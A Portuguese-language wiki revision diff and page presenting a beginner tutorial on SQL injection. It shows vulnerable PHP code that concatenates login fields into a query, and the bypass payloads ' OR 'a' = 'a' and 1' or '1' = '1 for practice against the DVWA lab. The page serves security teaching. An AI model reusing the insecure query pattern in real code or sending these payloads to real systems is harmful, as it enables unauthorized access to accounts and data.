Difference between revisions of "SQLi"
Jump to navigation
Jump to search
Line 13: | Line 13: | ||
$_POST['password'] . " ' "; | $_POST['password'] . " ' "; | ||
$response = mysql_query($query) ; | $response = mysql_query($query) ; | ||
+ | |||
+ | |||
+ | Em outras palavras: | ||
+ | |||
+ | |||
+ | |||
+ | SELECT * FROM users WHERE user='...' AND password='...' | ||
+ | |||
+ | |||
+ | |||
+ | Desta forma consigo enganar o banco já informando o valor do "password", assim: | ||
+ | |||
+ | |||
+ | Password = ' OR 'a' = 'a' | ||
+ | |||
+ | |||
+ | |||
+ | Ficando o SELECT assim: | ||
+ | |||
+ | |||
+ | |||
+ | SELECT * FROM users WHERE user = 'Patrik' AND password = ' ' OR 'a' = 'a' | ||
+ | |||
+ | == Testando no alvo (DVWA) == | ||
+ | |||
+ | Usando o DVWA (que pode ser baixado aqui), vá no menu SQL Injection e informe um ID qualquer. Repare nas saídas e na URL. | ||
+ | |||
+ | Agora exemplifique usando as aspas ( ' " ) e veja o erro gerado (enumeração). | ||
+ | |||
+ | Agora informe um "sempre true": | ||
+ | |||
+ | |||
+ | |||
+ | 1' or '1' = '1 |
Revision as of 16:51, 31 March 2021
Links Importantes
O que é um ataque do tipo SQL Injection | https://portswigger.net/web-security/sql-injection
Cheat Sheet para SQLi | https://portswigger.net/web-security/sql-injection/cheat-sheet
Exemplo de código fonte vulnerável (PHP)
$query = "SELECT * FROM users WHERE user='" . $_POST['username'] . " ' AND password=' " . $_POST['password'] . " ' "; $response = mysql_query($query) ;
Em outras palavras:
SELECT * FROM users WHERE user='...' AND password='...'
Desta forma consigo enganar o banco já informando o valor do "password", assim:
Password = ' OR 'a' = 'a'
Ficando o SELECT assim:
SELECT * FROM users WHERE user = 'Patrik' AND password = ' ' OR 'a' = 'a'
Testando no alvo (DVWA)
Usando o DVWA (que pode ser baixado aqui), vá no menu SQL Injection e informe um ID qualquer. Repare nas saídas e na URL.
Agora exemplifique usando as aspas ( ' " ) e veja o erro gerado (enumeração).
Agora informe um "sempre true":
1' or '1' = '1